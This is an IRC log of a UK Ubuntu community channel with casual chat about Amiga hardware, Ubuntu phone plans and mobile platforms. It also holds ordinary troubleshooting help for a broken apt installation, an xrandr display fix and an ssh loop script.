<shauno> where on earth did you get a 1GB hdd?  (and cf-ide ftw)
<ali1234> i got it out of my box o'crap
<exobuzz> i still use a hd in my a1200, since I have so many old laptop drives lying around. 30gb or so it hink
<ali1234> i have a 42MB one in the box
<exobuzz> also have CF slot in the side
<ali1234> and yeah i want to put a CF-IDE in it
<ali1234> but i couldn't find it
<exobuzz> inside my a1200 http://malus.exotica.org.uk/~buzz/a1200/IMG_4291.JPG
<ali1234> mainly what i want to do is get ppp over serial with amitcp (or whatever networking stack is used these days) and then image all my old disks
<shauno> yeah, I have a laptop hdd in my 1200 (and pcmcia-cf in the side for EasyADF)
<exobuzz> (new hd since then though)
<exobuzz> ali1234, slip works well. you can use magplip for additional speed over parallel but more complex to setup and custom cable etc
<exobuzz> ppp over serial is doable. but slip is simpler maybe
<exobuzz> i use my pcmcia for ethernet card currently
<ali1234> i used to use parnet and a A500/A570 to read CD-ROMs on my A1200
<ali1234> lol
<ali1234> ppp is going to be easier on linux side
<shauno> http://farm7.staticflickr.com/6156/6175483156_43d83bff4d_b.jpg   that's mine.  nothing too amazing.  indivision scandoubler and I think an 040 in the bottom, I can't remember now :/
<ali1234> don't wanna do parallel cables again :/
<exobuzz> shauno, nice! :) indivision eh? you must be wealthy !
<shauno> more foolish :)
<ali1234> i have a 030 card in my A1200. i can't remember which one
<ali1234> it's actually faster than this 4000
<exobuzz> since we are talking amigas, I feel the need to spam my amiga site http://www.exotica.org.uk/
<exobuzz> :)
<shauno> (I don't regret it, but I'm not sure I'd do it again either)
<ali1234> and it has a MMU
<ali1234> why a scan doubler?
<shauno> so it'll work on a regular vga monitor
<exobuzz> for great picture on modern monitors and also you get extra stuff like new screenmodes
<ali1234> modern monitors support 576i :)
<ali1234> mine does
<ali1234> D U2410
<ali1234> *Dell
<exobuzz> alternatively you can play the "buy an lcd tv/lcd and hope for the best".
<shauno> I can do 1024x768 at a relatively sensible refresh rate
<ali1234> nah, just by a good monitor
<exobuzz> my lcd tv doesnt take 15khz over the vga, but can do via scart, but not a great picture really
<exobuzz> U2410 isnt perfect
<exobuzz> try interlace modes etc
<ali1234> you'll never get a good picture out of a LCD anyway
<ali1234> and... yeah this monitor does interlace
<exobuzz> my NEC4PG had a nice picture, but it needs recapping etc. its knackered. and not worth the repair costs
<shauno> I don't have LCD for it, I have some anchorweight Dell that's so old it's beige (but didn't cost me a penny)
<ali1234> it even has composite input
<ali1234> someone here recommended it to me
<ali1234> i can't remember who it was, but well done anyway
<exobuzz> its still easier with a scan doubler. most monitors dont take 15khz on vga etc. and many that do don't work that well with some modes. im pretty sure there will be limitation on the U2410, but it does seem to be pretty good from some pics ive just seen. can you adjust overscan etc for example ?
<ali1234> yes
<exobuzz> and control the aspect ratio ?
<ali1234> yes
<exobuzz> nice
<ali1234> you get zoom/horizontal position/vertical position
<ali1234> and fill/aspect/1:1
<ali1234> whatever those mean
<ali1234> also there is a setting "pixel clock" but i have no idea at all what that does
<ali1234> it also has PIP/PBP mode so i can see PC and amiga display at the same time :)
<exobuzz> its to do with the division of the horizontal signal into pixels or something
<exobuzz> ideally id like a 4:3 screen. i use a 4:3 lcd monitor on my a4k on the cybervision. but a4k is pieces atm (need to send it off to be recapped)
<exobuzz> might look into second hand prices of that dell monitor then if its as good as you make it sound heh
<exobuzz> ta
<ali1234> https://plus.google.com/117474986382867317779/posts/iLtEQ9Faih8
<popey> âº
<ali1234> so the problem was the VGA adapter that i used to use with a special CRT wide syncing monitor (which is now dead)
<ali1234> it was just wires inside
<ali1234> it's supposed to have a buffer, and apparently the A4000 thinks this monitor is a genlock or something
<ali1234> so i had to solder a chip inside
<dwatkins> I just ordered red function keys for my IBM Model M so it looks like an A3020
<dwatkins> ah, that's an Amiga, not an Archimedes, though...
<david__> hey guys can anyone help? I uninstalled wine 1.4 by       sudo apt-get purge wine 1.4          and now ubuntu software center got erased, cannot use synaptic and commands apt-get cannot be found, zypper cannot be found, yum cannot be found.. what can I do ?
<david__> any1 ?
<popey> oops
<Azelphur> uhh, yum should never be found on Ubuntu, it's not a RPM distro.
<Azelphur> what version of Ubuntu are you on?
<popey> you're in a pickle if apt-get has been removed
<Azelphur> hehe
<Azelphur> popey: I did one better, earlier I had a machine where bash had been removed.
<david__> ubuntu 12.10
<david__> all that happend by removing wine 1.4
<Azelphur> david__: do you have apt-get installed still?
<david__> I don't think so
<david__> cannot use any aptitude commands
<Azelphur> check by trying to run it
<popey> what happens if you just type "ap-tget"
<popey> er
<popey> apt-get
<Azelphur> Ubuntu hasn't shipped with aptitude for a while now ;)
<david__> apt-get: command not found
<Azelphur> yup, it's broke.
<popey> you're somewhat knackered
<david__> the problem is that
<david__> if I could use zypper or yun
<david__> yum*
<david__> I would reinstall it
<david__> but I cannot even use those
<david__> gives same error
<david__> cannot be found
<Azelphur> you certainly don't want to try and install yum on a debian based distro, that's asking for trouble.
<popey> those are not commands you should run on ubuntu
<popey> you could possibly wget the deb and install it manually with dpkg
<Azelphur> ah yea that's a good idea
<popey> david__: is it 32-bit or 64-bit install
<popey> ?
<david__> 64-bit
<popey> wget http://ubuntu.mirror.cambrium.nl/ubuntu//pool/main/a/apt/apt_0.9.7.5ubuntu5.2_amd64.deb
<popey> and once downloaded do:-
<popey> sudo dpkg -i apt_0.9.7.5ubuntu5.2_amd64.deb
<david__> first part worked
<david__> dpkg: error: dpkg status database is locked by another process
<david__> on second part
<popey> do you have another apt or dpkg open somewhere?
<david__> nope
<popey> something is open somewhere
<popey> or a stale lock
<david__> I'm quite new, cannot tell for sure but I'm pretty much sure I didn't open anything by myself atleat :D
<popey> ps aux | grep dpkg
<popey> will show any dpkg processes still running
<popey> ps aux | grep apt
<popey> etc
<david__> david     3838  0.0  0.0  13580   936 pts/1    S+   04:07   0:00 grep --color=auto dpkg
<popey> so probably a stale lock
<david__> and how I unlock it ? :P
<popey> is there a file /var/lib/dpkg/lock  ?
<popey> ls -l /var/lib/dpkg/lock
<david__> -rw-r----- 1 root root 0 Jan 16 04:05 /var/lib/dpkg/lock
<popey> ok, lets bin that
<popey> sudo rm /var/lib/dpkg/lock
<popey> then do sudo dpkg -i apt_0.9.7.5ubuntu5.2_amd64.deb
<popey> hows it going?
<david__> done
<popey> ok, lets try to fix it...
<popey> sudo apt-get install ubuntu-desktop^
<popey> and note the ^ on the end is important
<popey> this should download and install everything that was accidentally removed
<david__> erm
<david__> it did it
<david__> but
<david__> it means
<david__> apt-get is working now
<david__> ?
<popey> well, lets see if this works first
<david__> because before anything related to apt-get would tell me its not a command
<popey> yes, we just manually re-installed it âº
<david__> E: Unable to locate package ubuntu-desktop^ E: Couldn't find task 'ubuntu-desktop' E: Couldn't find any package by regex 'ubuntu-desktop^'
<popey> sudo apt-get update
<popey> do that
<popey> and if you get lots of output, pastebin it
<popey> http://paste.ubuntu.com/
<david__> yeah it gives lot of stuff
<david__> will copy once its done
<david__> http://paste.ubuntu.com/1536231/
<popey> ok, now do the sudo apt-get install ubuntu-desktop^
<david__> 0 upgraded, 18 newly installed, 0 to remove and 0 not upgraded. E: Could not get lock /var/cache/apt/archives/lock - open (11: Resource temporarily unavailable) E: Unable to lock directory /var/cache/apt/archives/
<popey> interesting
<popey> ls -l /var/cache/apt/archives/lock
<david__> -rw-r----- 1 root root 0 Jan 16 03:29 /var/cache/apt/archives/lock
<popey> ok
<popey> sudo rm /var/cache/apt/archives/lock
<popey> then run the apt-get again
<david__> still processing
<david__> done
<david__> no error
<popey> what did it do?
<popey> pastebin?
<david__> sec
<david__> http://paste.ubuntu.com/1536239/
<david__> last lines
<popey> looks fixed to me
<david__> how do I get rid of synaptic now
<david__> and install back ubuntu software centre
<david__> ?
<popey> it added software centre back in
<david__> ah ye
<david__> and now sudo apt-get purge synaptic manager?
<popey> sudo apt-get remove synaptic
<david__> okay, thanks alot mate
<david__> I was searching stuff on net for 2 days
<david__> could not get it fix
<david__> appretiate it
<popey> no problem
<popey> have fun
<Azelphur> someone needs to make an easy way to have your entire OS pulled into RAM and lazy write to disk :(
<david__> any Ideas how to install dota 2 or league of legends on linux ? :P
<david__> popey when I try to save something this is what happens : The folder contents could not be displayed. Error when getting information for file '/home/david/Documents/fixes/Fix apt-get ': No such file or directory
<david__> can anyone help?
<david__> cannot save anything. was trying to save text document and it gave this error
<popey> morning slackers
<daftykins> o/
<daftykins> morning captain funny
<popey> uhoh
<knightwise> morning everyone
<MartijnVdS> howdy knightwise
<knightwise> hey martijn , how are you today
<MartijnVdS> cold :)
<MartijnVdS> well, not now I'm inside
<MartijnVdS> but *shudder* @ outside
<knightwise> same here , just pludged through the snow in the direction of eindhoven
<MartijnVdS> eek, it's -15ish there
<knightwise> About minus ten on the road
<knightwise> damn.
<knightwise> i decided to be curagious today and bring my netbookt o work
<knightwise> running ica client on it.
<knightwise> not a big success so far
<knightwise> ica client works
<knightwise> but now my external screen is stuck at a resolution of 800x600
<MartijnVdS> how 90s ;)
<knightwise> great for CLI stuff , shit for windwos stuff
<MartijnVdS> knightwise: "Treinverkeer Brabant ontregeld door winterweer: storingen Breda, Tilburg en Den Bosch"
 * knightwise is by car
<knightwise> i live near Maastricht
<knightwise> cant believe this no longer words properly in ubuntu
<knightwise> I hook up a simple 19 inch display via the VGA connector and it cant figure out the resolution ?
<MartijnVdS> knightwise: which graphics chipset does the netbook have?
<MartijnVdS> knightwise: if it's "nvidia", blame them.
<knightwise> I'll check
<knightwise> its an old Medion netbook. :)
<knightwise> IntelÂ® 945GME x86/MMX/SSE2
<daftykins> ooh-err
<knightwise> Wanted to do an article on how you can still use old netbooks as portable thin clients and stuff.
<MartijnVdS> knightwise: what does xrandr --auto do?
<MartijnVdS> or first:
<MartijnVdS> just "urandr"
<knightwise> command not found
<knightwise> damn
<knightwise> system locked up
<knightwise> urandr  ? it nows arandr and xrandr
<BigRedS> knightwise: The trick is, generally, to not assume you know how to do it and, instead, find out the new Ubuntu way of doing it
<BigRedS> not sure if that's exactly what's happened here, but it's the sort of thing that keeps tripping me up
<knightwise> BigRedS: but the "new ubuntu way" offfers me no other resolution then 800x600 in the display setting
<knightwise> MartijnVdS: what is xrandr --auto exactly ?
<MartijnVdS> knightwise: it autodetects screens and sets optimum resolution
<MartijnVdS>        --auto For connected but disabled outputs, this will enable them  using
<MartijnVdS>               their  preferred mode (or, something close to 96dpi if they have
<MartijnVdS>               no preferred mode). For disconnected but enabled  outputs,  this
<MartijnVdS>               will disable them.
<MartijnVdS> </spam>
<MartijnVdS> knightwise: it used to help to boot with the screen already attached.. some old Intel cards needed that.
<knightwise> i'm doing that. still no love :(
<knightwise> i'll try xrandr in a minute
<daftykins> at least it's not an i845
<daftykins> that doesn't even boot under 10.04 without a kernel param :>
<knightwise> xrandr --auto .. right ?
<MartijnVdS> yes
<MartijnVdS> just without the --auto firsat
<MartijnVdS> to show what it's detected
<MartijnVdS> You can also use xrandr to add modes/resolutions
<knightwise> http://pastebin.com/kbzdBxTs
<MartijnVdS> knightwise: can you pastebin _all_ the output? :) Not just the one connector?
<knightwise> http://pastebin.com/S44e4FwS
<MartijnVdS> knightwise: xrandr --output VGA1 --mode 1024x768 --output LVDS1 --mode 1024x768
<MartijnVdS> ah wait!
<MartijnVdS> it's because the panel is 1024x600
<MartijnVdS> *facepalm*
<MartijnVdS> knightwise: if you disable the internal panel, everything will be fine.
<MartijnVdS> knightwise: xrandr --output VGA1 --mode 1280x1024 --output LVDS1 --disable
<MartijnVdS> uhr
<MartijnVdS> knightwise: xrandr --output VGA1 --mode 1280x1024 --output LVDS1 --off
 * knightwise KISSIS MartijnVdS !
<MartijnVdS> knightwise: you happy now? :)
<knightwise> Overjoyed !
<knightwise> so if i make a script out of it
<knightwise> /bin/bash
<knightwise> and then the command
<knightwise> i can use that right ?
<MartijnVdS> sure
<MartijnVdS> but it should also be possible to set this from the default tool
<MartijnVdS> the "Screen & display" (monitors?) tool
<MartijnVdS> just enable the second screen, then _disable_ the panel.. after that you should be able to select higher resolutions for the external screen
<MartijnVdS> it's a multi-stage thing
<daftykins> was he not able to run both displays at once at full res then?
<MartijnVdS> daftykins: no, some of those intel chips can't do that
<knightwise> Hmm.. I am noticing unity can be a little laggy on my atom netbook with one gig of ram
<knightwise> might just boot into xubuntu instead
<MartijnVdS> blamepopey.com
<brobostigon> good morning everyone.
<MartijnVdS> \o brobostigon
<brobostigon> o/ MartijnVdS
<rmarcandier> good morning
<brobostigon> good morning rmarcandier
<knightwise> There :)Alpine all set up :p
<BigRedS> I'm running 13.04 with an encrypted ~. How likely is it to not be an arse to install 12.04 preserving /home and have things working afterwards?
<BigRedS> it's all in one volume
<czajkowski> Laney: xnox ^^^^
<xnox> BigRedS: so you want to downgrade 2 releases? sounds like a pain - backup your home & list of packages installed, install 12.04, reinstall packages, bring your home back, fix any settings missmatches.
<xnox> there were a lot of changes since 12.04 =/
<BigRedS> er, nah, 12.10 would be okay
<BigRedS> forgot that was out
<BigRedS> just want to not be on a prerelease
<xnox> why do you want to downgrade? maybe we can just fix something for you in 13.04? =)
<Laney> It's "can the installer reuse an encrypted home"?
<xnox> Laney: let's just say that installer can wipe your home sometimes when it's "reusing" the installation.
<BigRedS> basically, virt-manager and/or n-m keep having spats and I'm getting really bored of trying to work out why my VMs cant talk to my host any more
<BigRedS> but I don't have anything with me on which to back up my /home, but would sort of like to get some work done before I next do
<xnox> BigRedS: switching back to 12.10 sounds like a big hammer which might not firx your virt-manager networking problem.
<xnox> it's working fine there for me.
<BigRedS> no, but I'd at least feel better when I rant about it :)
<BigRedS> TBH, Wheezy's looking really likely come Monday now
<xnox> wheezy will be delayed as hell. we are looking at ~ april.
<MartijnVdS> xnox: why?
<BigRedS> er, are there any reasonable docs on virt-manager? Basically, if I can easily have it redo its networking when n-m buggers it up that'd be a better workaround than the current one
<BigRedS> which is to reboot
<BigRedS> and run a script which tries to configure n-m to not try to manage virt-manager's bridge. Which seems to have something like 50% effectiveness
<BigRedS> Though nothing appears to have gone wrong on this boot, though at first glance no VM can find a dhcp server
<BigRedS> Basically, I'd rather be in a position where I can reasonably expect everything to work, but just to be somewhere where it does would do for now :)
<xnox> MartijnVdS: look how far wheezy is behind http://richardhartmann.de/blog/posts/2013/01/11-Debian_Release_Critical_Bug_report_for_Week_02/
<xnox> BigRedS: try to catch folks on #ubuntu-server
<xnox> BigRedS: in particular stgraber =)
 * xnox is not sure why stgraber idles in #ubuntu-uk =))))
<BigRedS> xnox: cool, ta!
<czajkowski> xnox: all the cool people idle in here :)
<xnox> czajkowski: I guess I should leave then....
<davmor2> Morning all
<MartijnVdS> whoa.. http://www.bbc.co.uk/news/uk-england-21040410
<jpds> MartijnVdS: http://www.pprune.org/rumours-news/505369-helicopter-crash-central-london.html
<MartijnVdS> jpds: rumours?!
<jpds> MartijnVdS: Actually open the link.
<MartijnVdS> ah lots of infos
<andrei_> hello guys
<MartijnVdS> hi andrei_
<andrei_> i was wondering how do I sync the data between two glusterfs servers that are set in replicated mode
<andrei_> i've got a file on one server that is different from the second file server
<andrei_> and I can't seems to get it in sync
<andrei_> i tried the heal option
<andrei_> but that didn't work
<andrei_> as a result, two of my glusterfs clients see the same file with different sizes
<andrei_> even worse, accessing this file gives me md5sum: /mnt/glusterfs/date: Input/output error
<MartijnVdS> I don't think there are many glusterfs-knowing people in here..
<ali1234> can anyone help me ID these simms? http://al.robotfuzz.com/~al/random/simm1-1.jpg
<dwatkins> ali1234: they look lke they might fit in an SGI Indy, if that helps.
<ali1234> lolno
<ali1234> i know what they are for
<ali1234> i want to know the sizes :)
<dwatkins> ah ok, no markings to help, I assume
<ali1234> a couple of them are marked
<ali1234> trouble is if i put them in the machine it will just read 4mb because it can't handle larger
<dwatkins> Kingston apparently still have their 'lifetime warranty' thing they're obliged to honour, so if you call them with a failed DIMIM/SIMM, in theory they have to replace it.
<ali1234> cool
<ali1234> i think one of the kingstons is duff actually so that should be an amusing phone call
<dwatkins> as you can imagine, they don't publicise it much
<ali1234> these simms are all 20 years old :)
<dwatkins> yeah, I used to work with someone who worked there, they apparently had to replace them despite their age
<dwatkins> I'd be amused to hear the result
<directhex> 72 pin.
<directhex> probably EDO
<shauno> the kingston ones don't look 20yo, I'd assume 9428 and 9426 are year/week pairs.  so they're not even old enough to drink :)
<directhex> kingston still exist. you'll get warranty service from them
<directhex> the rest, not so much
<shauno> Goldstar are LG, so there's another
<directhex> lg don't make ram though
<directhex> they don't make the memory, or the sticks. they're in no position to help
<shauno> curious who the LGS etched on those chips is then
<shauno> I know it's not something they do anymore, but depending on what their warranty offer was like, that could just make it all the more entertaining
<directhex> huh, hynix bought LGS
<directhex> hynix *does* exist
<bubu> hi guys, trying to do an ssh loop script to echo some text into a file on multiple servers
<bubu> so far I have
<mgdm> You might be better looking into smething like dsh or pssh
<mgdm> they're parallelized versions of ssh
<bubu> for e in $(knife node list); do ssh $e; echo "node_name $e" >> /etc/test.txt ; done
<bubu> but its not working - any ideas?
<mgdm> you're sshing to a box, then after ssh finishes, you're running the echo
<bubu> ah
<mgdm> if you really want to do that, try or e in $(knife node list); do ssh $e 'echo "node_name $e" >> /etc/test.txt'; done
<mgdm> note the quotes and the lack of ;
<mgdm> but also look at dsh and pssh :)
<bubu> ah oki
<bubu> thanks mgdm !!
<mgdm> you're welcome :)
<Kuschelwolle> Herzlich Willkommen in der Freiheit! Kein Kick Kein Ban nur Fun! lg Lukas #ubuntu-de-offtopiic
<Whoop> wait what, knife = chef?  yet you're using ssh for loops?  I dare not ask :)
 * dwatkins notes that Kuschelwolle is spam-bombing
<popey> morning all
<Laney> EVENING!
<directhex> it's not evening yet it's still light ouHOLY POOP IT'S NIGHTTIME OUTSIDE
<davmor2> popey: morning dude did jono make it in the end?
<popey> he's not here yet
<davmor2> popey: twitter traffic hates him apparently
<popey> i see a jono
<directhex> i don't.
<MartijnVdS> popey: say hi to him for all of us!
<davmor2> popey: every now and again insult jono and blame me for it :) That'll be me saying hello to him :D
<ali1234> exobuzz: i tried interlaced modes. PAL failed - the fields get reversed
<ali1234> NTSC works though
<exobuzz> I suspected interlace might be a problem - often is even with screens that work fine otherwise. interesting that NTSC works though.
<ali1234> i think the amiga is at fault tbh
<ali1234> i bet it doesn't do the interlaced field run in properly
<ali1234> you know, the half line thing
<ali1234> lots of old computers just do a full line so effectively they are sending only upper or lower fields
<directhex> tl;dr: interlaced sucks
<exobuzz> my plasma deinterlaces amiga interlace modes (over scart). works quite well, not that I use my amiga on that screen
<exobuzz> interlace is important for games like "hollywood poker pro" ;-)
<exobuzz> great game that - music from chris huelsbeck too !
<ali1234> what's a good online computers parts store these days? ebuyer seems to have got really expensive
<directhex> ebuyer is reasonably reliable, though
<directhex> i've stopped using scan
<ali1234> scam :)
<ali1234> ordered two 4GB CF cards and some IDE adapters :)
<AlanBell> http://techbeat.com/2013/01/ubuntu-os-to-debut-on-samsung-phones/
<AlanBell> don't think the journalist really understood what was going on
<AlanBell> but a popey quote is a popey quote \o/
<ubuntubhoy> Not totally wrong TBH
<Deindre> AlanBell: could I be a bit polemic?
<AlanBell> sure Deindre
<brunogirin> AlanBell: to be honest, I've seen a lot worse in tech review!
<AlanBell> oh it wasn't bad at all, just the fact that it is on the samsung galaxy nexus doesn't mean that it is being released on that hardware as such
<Deindre> AlanBell:  speaking as journalist, of course, journalist are all dumb. But sometimes journalist could make a better work, if the had better informations :)
<Deindre> if they had, sorry
<AlanBell> yeah, the article makes it sound a bit like Samsung is going to be selling nexus devices for ubuntu os
<Deindre> I'm a journalst, I'm dumb too
 * AlanBell thinks Deindre is not dumb
<AlanBell> in fact everything in the article except for the headline and opening sentence seems great to me
 * Deindre deeply thanks AlanBell :)
<brunogirin> indeed, so once you go past that, it's not a bad article
<brunogirin> unless the journalist knows exactly what he's doing and uses that headline on purpose to attract readers ;-)
<AlanBell> guessing pippa is a she
<brunogirin> probably, I didn't check the name of the author before writing that
<popey> Uhoh
<popey> jnick_tait: http://developer.ubuntu.com/get-started/gomobile/
<Azelphur> We recognize HTML5 as a core Internet technology often used to develop cross-platform apps. As such, the Ubuntu toolkit offers the flexibility to support HTML5 too.Â 
<Azelphur> ^ I wish android did this
<Azelphur> popey: do you know if there are plans to support other devices, such as the Nexus 4?
<Azelphur> (/7/10)
<ubuntubhoy> source will drop, so I would guess it will be ported to everything
<popey> we're just finalising the details of which devices will be supported
<Azelphur> cool
<popey> i would not be surprised if a nexus device or two was supported
<Azelphur> yay
<popey> by "supported" I mean "an image made"
<Azelphur> if any nexus devices are supported, I'm in by default xD
<popey> i doubt there will be any "support" âº
<Azelphur> hehe
<Azelphur> living on my own is amusing, on the downside, my landlord doesn't do anything he's supposed to
<Azelphur> on the upside, this includes collecting rent
<zleap> anyone see te news report on the boing 787
<zleap> the have what looks like a computer in the seat booting up with what looks like the kernel type output you get on some Linux desktops
<ali1234> popey: yeah there you go with those words again :)
<zleap> it then seems to display what could look like the ubuntu splashscreen
<ali1234> anyway i doubt you'll need to make images for more than a couple of devices
<ali1234> XDA developers will do the rest
<ali1234> even if you don't release any source
<popey> hmm?
<popey> we will release the source
<popey> thats for certain
<ali1234> they probably won't us it anyway
<ubuntubhoy> yeah they will
<zleap> about 8 seconds in http://www.bbc.co.uk/news/business-21038128
<zleap> could be shutdown or start up not sure
<Azelphur> ali1234: thats odd, why would they not use it?
<ali1234> Azelphur: because they're used to not having it
<ali1234> look at all the rom kitchens
<ali1234> no source
<Azelphur> they have it for android, and they all seem to wait until the source comes out from what I've read o.O
<ali1234> doesn't stop them
 * Azelphur shrugs
<ali1234> xda has been around longer than android
<Azelphur> yea I know
<Azelphur> but they that ^ shows they do use the source if they have it :p
<ali1234> sometimes
<popey> well, they'll get it
<Azelphur> :D
<Azelphur> I like having the source to things.
<ali1234> there's plenty of android roms that are just cooked versions of other roms
<Azelphur> indeed
<ali1234> lots of rebuilds of leaked roms for instance
<ali1234> expect a lot of GPL violations
<ubuntubhoy> ali1234: source is always preferred, porting without is a far bigger job
<ali1234> there isn't much to port
<ubuntubhoy> ?
 * zleap was nearly rigt its a touch screen entertainment system running android http://www.ausbt.com.au/boeing-chooses-android-for-787-dreamliner-s-entertainment-system
<ali1234> you know the main problem for anything that isn't android right now...
<ali1234> android is starting to be used in some really weird stuff
<ali1234> it's not really enough to be on phones now
<zleap> well it runs limux so is still cool right
<ali1234> yes and no
<ali1234> it's not cool if you are trying to sell another platform
<AlanBell> it will be the embedded GUI on anything where they can't be bothered to put physical buttons
<ali1234> apple are probably crapping their pants right now
<ubuntubhoy> competition will always be there
<ali1234> you'll never see apple making an iOS oven or fridge
<AlanBell> so your microwave control will just be a touchscreen running one app with android under it somewhere
<ali1234> AlanBell: they already exist
<AlanBell> running android?
<ali1234> yes
<popey> and fridges
<ali1234> http://www.youtube.com/watch?v=eXYmsVdqQEw <- there's a bunch in this
<AlanBell> nice
<ali1234> the problem is if you have an android tv, camera, oven, fridge... are you gonna buy an ubuntu smartphone?
<ubuntubhoy> ali1234: as long as they can share data, then why not
<ali1234> android shares data through google services
<ubuntubhoy> that's why Google services being ported is a big deal
<ali1234> who's porting it?
<ubuntubhoy> the community will
<ubuntubhoy> for most things
<popey> unlikely
<AlanBell> so, won't get done then
<ali1234> i find it unlikely too
<ubuntubhoy> lol
<ubuntubhoy> nothing like faith
<popey> well how can they?
<ali1234> just because you can connect to google account with the api and somehow get the raw data, doesn't mean there will be an app that can use it in a meaningful way
<popey> thats like saying the community will port skype
<ubuntubhoy> hmm
<ali1234> and also, if no one buys it, there won't be a community
<ali1234> and if nobody ports this stuff, nobody will buy it
<AlanBell> I quite like the SIP by default idea
<ubuntubhoy> I still think that stuff with open api's will get ported
<ali1234> a lot of it is NFC
<ali1234> like the TV and phone combo
<ali1234> just touch the phone on the TV remote, and get the phone display on the TV wirelessly
<ubuntubhoy> but if you guys are right, then Ubuntu for Android could still be a bigger deal
<ali1234> someone will probably port it but like everything else, it will be half finished and not work properly
<ubuntubhoy> most Google stuff is still in beta anyway
<ali1234> official status is irrelevant. the only thing that matters is does it work?
<ali1234> and on android, yes, it does work
<ubuntubhoy> mostly
<ali1234> i'm sure syncing between ubuntu phone and ubuntu desktop will be wonderful
<directhex> SIP works fine, as long as nobody has NAT or a firewall at either end
<directhex> if they do, then it might work, maybe, ish, if the relevant STUN servers are working right. ish. maybe.
<directhex> it also might fail silently
<ali1234> SIP is poor :(
<ali1234> skype just works
<AlanBell> AIX just works
<AlanBell> but anyhow, if the phone was VOIP by default and just used data then there would be no roaming, just get a local PAYG data sim
<ali1234> license skype already!!!2
<AlanBell> and you could provision it to your company PBX
<directhex> skype support is done.
<AlanBell> VPN client on the phone as part of the setup wizard too
<directhex> what isn't done is the licensing, which is very hard to sort
<ali1234> lol "company PBX"
<AlanBell> yeah, Canonical won't sell it like that
<ali1234> no, companies use skype!
<AlanBell> consumer is king
<ubuntubhoy> why would skype not make their own app ?
<directhex> integration > app
<ali1234> integration is key for everything
<ubuntubhoy> not an integration in Android, but it gets used and downloaded
<ali1234> skype on android is kind of bad
<ali1234> you have to remember to start up the app every time the phone reboots
<ali1234> it does integrate with contacts though
<ali1234> it's hard to merge contacts on android though, dunno why, the UI just sucks for it
<popey> directhex: whats happening with the empathy skype doohdah?
<directhex> popey, nobody wants to pay to ship it on the desktop
<ubuntubhoy> ali1234: my point was more, why would these companies not dev for Ubuntu OS also
<directhex> e.g. h264 license
<AlanBell> if I was doing the phone I would sell it as an asterisk applicance like this http://www.pikatechnologies.com/english/view.asp?x=347 plus a bunch of mobile handsets with data sims
<AlanBell> leave Android and ios to fight over the consumers
<ali1234> that's suicide
<popey> hehe
<ali1234> your lunch will be eaten by an identical product that runs android
<ali1234> because everyone will go "hey android, i know what that is"
<popey> seems there's a lot of people who don't
<popey> (know what android / ios is)
<ali1234> those people aren't making purchasig decisions for companies that actually need a SIP PBX
<directhex> there must be a market for tier 4 ecosystems, given bb10, tizen, ubuntu, firefoxos, etc
<directhex> there must be
<directhex> but i don't know what that market is
<AlanBell> there needs to be a niche where being different is an advantage, and you have to be able to articulate why you are different
<ali1234> that's an interesting POV
<ali1234> i wonder, how is being different ever an advantage? especially in the post-PC market?
<AlanBell> well if you are not different, then you are "similar but not as good"
<ali1234> how do you even make a phone that is "different"
<AlanBell> don't have a phone number
<ali1234> so you can't make phone calls?
<AlanBell> yes, but you don't buy the phone number with the phone
<ali1234> see, as soon as you make it different, you make it impossible for most people to understand :(
<Azelphur> ali1234: everything starts of as a niche until it gets big
<AlanBell> you get a sipgate number or an ubuntuone number if you are a consumer, or you have it as an extension on your PBX if you are not
<ali1234> that's not a good way to sell products
<Azelphur> on that basis different wouldn't be an advantage and we'd still be writing on pen and paper
<ali1234> AlanBell: oh, so basically like google voice then?
<Azelphur> the goal in computing is to be easier, faster and cheaper
<AlanBell> ali1234: yes
<ali1234> so this is different, how?
<AlanBell> cuts out the negotiation with the carriers
<AlanBell> I guess it would be like having google voice as the primary dialer
<AlanBell> or your internal system
<ali1234> google voice is fully integrated
<ali1234> there is no "primary dialer" - everything is merged together
<ali1234> you just say "call this guy" and it figures out the rest
<ali1234> this is a solved problem - if everyone uses android that is
<AlanBell> if you set it up as a thing
<AlanBell> by default all your calls go through the carrier
<AlanBell> you can install sipdroid or whatever
<ali1234> no, there is no default
<popey> what do you do about calling 911?
<popey> there's regulatory controls around that
<ali1234> once you have installed whatever app, the contacts can be merged
<AlanBell> yeah, 911 would have to go through the carrier but you don't even need a sim card for that popey
<ali1234> you don't need a voice codec in the phone though
<popey> the carrier would tell you to gtfo
<ali1234> *do
<AlanBell> popey: nope
<AlanBell> the carrier can't. You can roam, take the SIM out, do what the hell you like. If there is a signal then an emergency call must be carried
<ali1234> i think he means they'll tell you to GTFO if you try to run your own VOIP system on their data network
<ali1234> as they have multiple times in the past by blocking skype, google voice, and SIP traffic
<AlanBell> if they sell a data sim then they sell a data sim
<shauno> that's the bit that needs to change.  they need to realise they're isps more than telcos now
<ali1234> yeah a data sim with 250mb and all VOIP protocols are blocked...
<ali1234> vodafone made more money from data than voice in 2012Q4
<ali1234> first telco to do so in europe
<shauno> I still think this is odd; I pay more for 800mb for a smatphone, than I do for 20GB with a modem.  through the same operator
<ali1234> the real thing you want is to be able to use the cheap GSM calls when out, but use free skype on wifi when at home
<AlanBell> anyhow, unless the Ubuphone does something slightly off the wall like that then they will have to negotiate country by country with hostile carriers to get it subsidised and if the carrier doesn't like it they can pull the plug on the whole venture
<ali1234> without having to know about it
<ali1234> and yes, the phones can do this
<ormiret> THe numbers are probably still off but mobile bandwidth is more expensive: everybody has the share the same air.
<ali1234> GSM calls are incredibly compressed
<shauno> I realise 3g data costs more than cable.  but this is a 3g modem vs a 3g phone, both on o2-ireland
<ali1234> that's just silly loss leaders
<AlanBell> and if there is nothing to differentiate the product then it is "like android or ios but without as many apps" if it is an otherwise perfect implementation
<ali1234> yes, that's the problem
<ali1234> look at WP8
<ali1234> even if it was better than android... does it work with my android TV?
<AlanBell> indeed, which is why I think the business market can be simpler
<ali1234> the super transforming phone-computer-tv device all-in-one is not a good fix for this problem either
<AlanBell> nope it isn't
<ali1234> it's better to have multiple devices syncing to your google account
<ali1234> but of course you need all android then
<AlanBell> or I have to stand in the living room so my kids can watch stuff on my phone
<ali1234> or all apple and iCloud
<ali1234> or all WP8 and skydrive/live/whatever
<AlanBell> the consumer stuff is all a lifestyle proposition
<ali1234> the WP8 stuff is not as good as google and apple
<ali1234> and there's no WP8 TV
<ali1234> or windows-TV or whatever
<ali1234> there's crufty old windows media center
<ali1234> with a huge x86 HTPC
<ali1234> that has noisy fans
<directhex> (xbox)
<ali1234> like we're stuck in 2003
<ali1234> oh yeah there's xbox i forgot that
<ali1234> so there you have it
<directhex> you're part right
